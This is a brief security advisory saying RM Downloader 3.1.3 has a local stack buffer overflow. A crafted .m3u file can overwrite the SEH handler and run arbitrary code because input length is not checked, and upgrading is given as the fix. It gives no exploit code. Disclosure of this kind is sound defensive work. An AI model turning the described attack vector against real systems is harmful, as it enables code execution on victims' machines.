RM Downloader 3.1.3 Local stack BOF

RM Downloader 3.1.3 is vulnerable to a local stack buffer overflow. By sending a specially crafted .m3u file, an attacker can overwrite the SEH and execute arbitrary code. The vulnerability is caused by the application not properly validating the length of user-supplied data before copying it to a fixed-length buffer.

Mitigation:

Upgrade to the latest version of RM Downloader.
